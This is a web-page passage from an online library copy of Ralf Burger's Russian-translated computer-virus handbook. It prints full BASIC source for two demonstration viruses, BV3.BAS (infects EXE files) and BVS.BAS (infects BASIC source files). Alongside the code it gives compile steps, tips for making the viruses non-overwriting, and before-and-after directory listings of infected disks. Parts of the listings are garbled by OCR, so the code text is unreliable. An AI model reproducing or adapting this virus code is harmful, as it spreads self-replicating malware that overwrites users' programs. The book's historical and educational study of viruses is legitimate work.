Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)
Demon's Souls |#9| Heart of surprises

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Ральф Бургер Весь текст 616.55 Kb

Большой справочник по компьютерным вирусам

Предыдущая страница Следующая страница
1 ... 30 31 32 33 34 35 36  37 38 39 40 41 42 43 ... 53
са)  на  длину скомпилированной программы. Теперь нужно  еще  раз
скомпилировать исходную программу и перезаписывающий вирус готов.
Для того, чтобы из этой программы-вируса получить неперезаписыва-
ющий вирус, можно, например, с помощью APPEND в конец инфицирова-
нной программы считать имя соответствующей оригинальной программы
и  затем  запросить эту оригинальную программу  с  помощью  SHELL
PRGname.
     Но для этого нужно иметь соответствующий компилятор.
     Для таких программ нужно помнить следующее:

1.   Файл BV3.EXE должен находиться в актуальном каталоге.
2.   Должен  быть достижим файл COMMAND.COM, чтобы  можно  было

                           - 218 -
     выполнить команду SHELL.
3.   Переменная LENGTHVIR (длина вируса) должна быть  установлена
     на   длину   связанной  программы   (связывание   необходимо
     выполнить дважды).
4.   Для компилятора Microsoft-Quick_basic должен  использоваться
     ключ /е.


10 REM *************************************************
20 REM *** Демонстрационный вирус      BV3.BAS       ***
30 REM *** Автор Р.Бургер 1987                       ***
40 REM *************************************************
50 ON ERROR GO TO 670
60 REM *** параметр
70 REM *** должен быть установлен
80 REM *** на длину связанной программы
90 LENGTHVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM ***  записать в файл "INH"
120 REM *** содержимое каталога
130 SHELL "DIR *.exe inh"
140 REM *** Открыть файл "INH" и считать имена
150 OPEN "R",1,"inh",32000
160 LINE INPUT#1, ORIGINAL$
170 LINE INPUT#1, ORIGINAL$
180 LINE INPUT#1, ORIGINAL$
190 LINE INPUT#1, ORIGINAL$
200 LINE INPUT#1, ORIGINAL$
210 ON ERROR GO TO 670
220 CLOSE = 2
230 F=1: LINE INPUT#1, ORIGINAL$
240 REM ** "%"- это байт идентификатора BV3
250 REM *** "%" в имени означает:
260 REM *** существует уже инфицированная копия
270 IF MID$(ORIGINAL$,1,13) "%" THEN GO TO 210
280 ORIGINAL$= MID$(ORIGINAL$,1,13)
290 EXTENSION$=MID$(ORIGINAL$,9,13)
300 MID$(EXTENSION$,1,1)"."
310 REM *** Составить имена в имена файлов

                           - 219 -
320 F=F+1
330 IF  MID$(ORIGINAL$,F,1)=" " OR MID$(PROGONAL$,F,1)="."
    OR F=13 THEN GO TO 350
340 GO TO 320
350 ORIGINAL$= MID$(ORIGINAL$,1,F-1) + EXTENSION$
360 ON ERROR GO TO 210
365 TEST$=''
370 REM *** открыть найденный файл
380 OPEN 'R',2, ORIGINAL$, LENGTHVIR
390 IF LOF(2) LENGTHVIR THEN GO TO 420
400 GET =2,2
410 LINE INPUT=2,TEST$
420 CLOSE
430 REM *** Проверить, инфицирован ли уже файл
440 REM *** "%" в конце фала означает:
450 REM *** файл уже инфицирован
460 IF MID$(TEST$,2,1)="%"  THEN GO TO 210
470 CLOSE=1
480 ORIGINAL$=ORIGINAL$
490 MID$(ORIGINAL$,1,1)="%"
500 REM *** сохранить "здоровую" программу
510 C$="COPY"+ORIGINAL$+" "+ORIGINAL$
520 SHELL C$
530 REM *** скопировать вирус в "здоровую" программу
540 C$="COPY"+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM*** добавить идентификатор вируса
570 OPEN ORIGINAL$ FOR APPEND AS =1 LEN=13
580 WRITE=1,ORIGINAL$
590 CLOSE=1
630 REM*** Выдать сообщение
640 PRINT "Инфекция на ";ORIGINAL$;"! Опасность!
650 SYSTEM
660 REM*** Сообщение вируса об ошибке
670 PRINT "VIRUS internal ERROR": SYSTEM

                    Характеристики программы

     Этот вирус в отличие от ранее описанных поражает только ЕХЕ-

                           - 220 -
файлы.  Для того, чтобы увидеть его отличие от  других  программ,
нужно подробно рассмотреть его распространение.
     Каталог перед вызовом программы:

Katalog von A:\

SORT      EXE    1664    4-22-85     12:00p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
BV3       EXE    2641    7-13-87      8:27p
                4 Dateien 325632 Bytes frei

     Каталог после вызова программы:

Katalog von A:\

SORT      EXE    2655    7-22-85      8:43p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
BV3       EXE    2641    7-13-87      8:27p
INH               277    7-13-87      8:43p
%ORT      EXE    1664    4-22-85    12:00p
                6 Dateien 321536 Bytes frei

     Здесь появился новый файл INH, в котором находится  содержи-
мое  каталога, а также файл %ORT.EXE. Файлы, начинающиеся с  "%",
являются  копиями сохранения исходного программного  обеспечения.
Эти  копии  могут использоваться для  возможного  распространения
программ,  чтобы  сделать из  этой  программы  неперазаписывающий
вирус. Программы с "%" в имени более не поражаются вирусом, пото-
му переименование программ защищает от этого вируса точно так же,
как и длина программы, точно соответствующая LENGTHVIR.
      Но  это  вряд ли применимые на практике способы  защиты  от
вируса.  При  полном "заражении" всех  файлов  каталога  выдается
сообщение об ошибке, поскольку возникающие ошибки  "перехватываю-
тся" лишь частично.

                10.4 Вирусы в виде командного файла


                           - 221 -
     Собственно  создать программу-вирус можно на  уровне  команд
ЭВМ.  Для этого используется командный файл, с  помощью  которого
можно вызывать как резидентные, так и нерезидентные функции  опе-
рационной  системы.  Параметры резидентного вызова  передаются  в
таком командном файле в командной строке, параметры же нерезиден-
тных программ стоят внутри списка операторов. Этот листинг, пред-
ставляющий программу-вирус длиной лишь в 8 (АСНТ) строк,  которая
вряд  ли может быть более компактной, использует (как  показывает
приведенная в разделе 10.3 написанная на Бейсике программа) также
некоторые особенности операционной системы МS-DOS.
     Кроме  того, в качестве нерезидентных программ  используются
DEBUG   и EDLIN. Управление этими программами  осуществляется  по
нескольким спискам операторов.


10.5   Вирусы в исходных кодах
     Приведенные выше вирусы,  за исключением оформленного в
виде командного файла вируса,  должны компилироваться, чтобы
получить возможность их запуска.  Но "инфекция" может прони-
кать и в исходные коды интерпретируемых программ,  что подт-
верждает приведенная ниже распечатка неперезаписывающего ви-
руса, написанного на Бейсике. Основные элементы здесь заимс-
твованы из программы,  приведенной в разделе 10.3.  Для того
чтобы не увеличивать без надобности исходную программу, была
выбрана не совсем обычная стратегия.  Программа-вирус в этой
форме выполняется не безошибочно.  Для того чтобы  выполнить
ее инсталляцию без каких-либо затрат,  нужно заменить строку
"9999 RUN" на "9999 STOP" и запустить вирус.  Но это измене-
ние нельзя  выполнить внутри интерпретатора и записать в па-
мять. Затем  инфицированная  программа  рассматривается  как
программа-носитель.
     Обоснование:
В строке  9999 инфицированной программы записан вызов исход-
ной программы. Поскольку в сам вирус на это место не записа-
но пока никакого имени, вирус вызывал бы сам себя постоянно.
     Особые условия:
Строка 9999  не  может  завершаться CR/LF,  поскольку в этом
случае ее нельзя было бы дополнить  командой  APPEND.  (Если
это необходимо, удалите CR/LF с помощью DEBUG).

                           - 222 -
     При изменении кодов программы нельзя не учитывать,  что
должна быть  изменена переменная VIRLENGTH.  Программа,  ес-
тественно, должна записываться в память в виде ASCII -файла.
     Эта программа была разработана с помощью интерпретатора
Microsoft-GW-BASIC версии 2.02 в среде MS-DOS 3.1.  Для дру-
гих интерпретаторов,  возможно, потребуется изменить синтак-
сис операторов OPEN.

 10 REM ************************************************
 20 REM *** Демонстрационный вирус       BVS.BAS    ****
 30 REM *** Автора Р.Бургер   1987                  ****
 40 REM ************************************************
 50 REM
 60 REM *** Обработка ошибок
 70 ON ERROR GOTO 670
 80 REM *** Параметр LENGTHVIR должен быть установлен
 90 REM *** на длину исходных кодов
100 REM ***
110 LENGTHVIR=2691
120 VIRROOTS="BVS.bas"
130 REM *** Cодержимое каталога
140 REM *** добавляется в файл INH
150 SHELL "DIR =.BAS INH"
160 REM *** Открыть файл INH и считать имена
170 OPEN "R",1,"INH",32000
180 GET #1,1
190 LINE INPUT #1, OLDN AMES
200 LINE INPUT #1, OLDN AMES
210 LINE INPUT #1, OLDN AMES
220 LINE INPUT #1, OLDN AMES
230 ON ERROR GOTO 670
240 CLOSE #2
250 F=1:LINE INPUT #1,OLDN AMES





260 REM *** "%" является байтом идентификатора

                           - 223 -
270 REM *** "%" в имени означает:
280 REM *** существуют уже инфицированные копии
290 IF MIDS(OLDNAMES;1,1)="%" THEN GOTO 230
300 OLDNAMES=MIDS(OLDNAMES,1,13)
310 EXTENSIONS=MIDS(OLDNAMES,9,13)
320 MIDS(EXTENSIONS,1,1)="."
330 REM *** Имена должны быть составлены в имена файлов
340 F=F+1
350 IF MIDS(OLDNAMES,F,1)=" "  OR MIDS(OLDNAMES,F,1)="."  OR F=13
    THEN GOTO 370
360 GOTO 340
370 OLDNAMES=MIDS(OLDNAMES,1,F+1)+EXTENSIONS
380 ON ERROR GOTO 440
390 TESTS=""
400 REM *** Открыть найденный файл
410 OPEN "R",2,OLDNAMES,LENGTHVIR
415 IF LOF(2) LENGTHVIR THEN GOTO 440
420 GET #2,2
430 LINE INPUT=2,TESTS
440 CLOSE#2
450 REM *** Проверить, инфицирован ли уже файл
460 REM *** "%" в конце файла означает:
470 REM *** файл уже инфицирован
480 IF MIDS(TESTS,1,1)="%" THEN GOTO 230
490 CLOSE#1
500 NEWNAMES=OLDNAMES
510 MIDS(NEWNAMES,1,1)="%"
520 REM *** сохранить "здоровую" программу
530 CS="copy "+OLDNAMES+NEWNAMES
540 SHELL CS
550 REM *** скопировать вирус в "здоровую" программу
560 CS="copy "+VIRROOTS+OLDNAMES
570 SHELL CS
580 REM *** связать идентификатор вируса и новое имя
590 OPEN OLDNAMES FOR APPEND AS =1 LEN=13
600 WRITE#1,NEWNAMES
610 CLOSE#1
620 REM *** Выдать сообщение
630 PRINT "инфекция в:" ;OLDNAMES;"  опасность!"

                           - 224 -
640 REM *** запуск исходной программы
650 GOTO 9999
660 REM *** сообщение вируса об ошибке
670 PRINT"VIRUS internal ERROR":SYSTEM
680 REM *** После этого RUN для инфицированной
690 REM *** программы стоит
700 REM *** прежнее имя программы. Благодаря этому
710 REM *** можно запустить исходную программу,
720 REM *** чем достигается эффект неперезаписывающего
730 REM *** вируса. После "RUN" при записи
740 REM *** в память не должно стоять CR/LF,
750 REM *** поскольку в противном случае имя
760 REM *** с помощью APPEND добавить нельзя. CR/LF
770 REM *** можно удалить с помощью DEBUG.
9999 RUN


Характеристики программы

     Этот вирус требует для распространения файлов с расширением
BAS. Причем не играет роли, записана ли эта программа в форме
ASCII или в двоичном виде. Здесь вновь создаются копии с
"%" в качестве первого символа имени файла. Эти копии вызываются
после обработки вируса.

Каталог перед вызовом программы-вируса:

Katalog von A:\

CALL         BAS           612         4-12-85          5:53р
COMMAND      BAS           659         4-04-85          4:06р
DEC          BAS           236         7-11-85          6:44р
DEFFN        BAS           336         3-07-85          3:04р
DIGIT        BAS           217         7-11-85          6:46р
DRAW         BAS           681         4-19-85          4:03р
KONVERT      BAS          3584         1-01-80         12:03а
MAIN         BAS           180         7-11-85          6:45р
PLAY         BAS           192         3-21-85          1:08р
REDIM        BAS           439         4-13-85          3:15р

                           - 225 -
BVS          BAS          2691         7-14-87          9:46а
            11 DATEIEN        340992  BYTES frei

Каталог после первого вызова программы:

Katalog von A:\

CALL         BAS           2704        7-14-87          9:53а
COMMAND      BAS            659        4-04-85          4:06р
DEC          BAS            256        7-11-85          6:46р
DEFFN        BAS            336        3-07-85          3:04р
DIGIT BAS  217  7-11-85 6:46р DRAW BAS 681 4-19-85
4:03р KONVERT BAS 3584 1-01-80 12:03а MAIN BAS 160
Предыдущая страница Следующая страница
1 ... 30 31 32 33 34 35 36  37 38 39 40 41 42 43 ... 53
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (1)

Реклама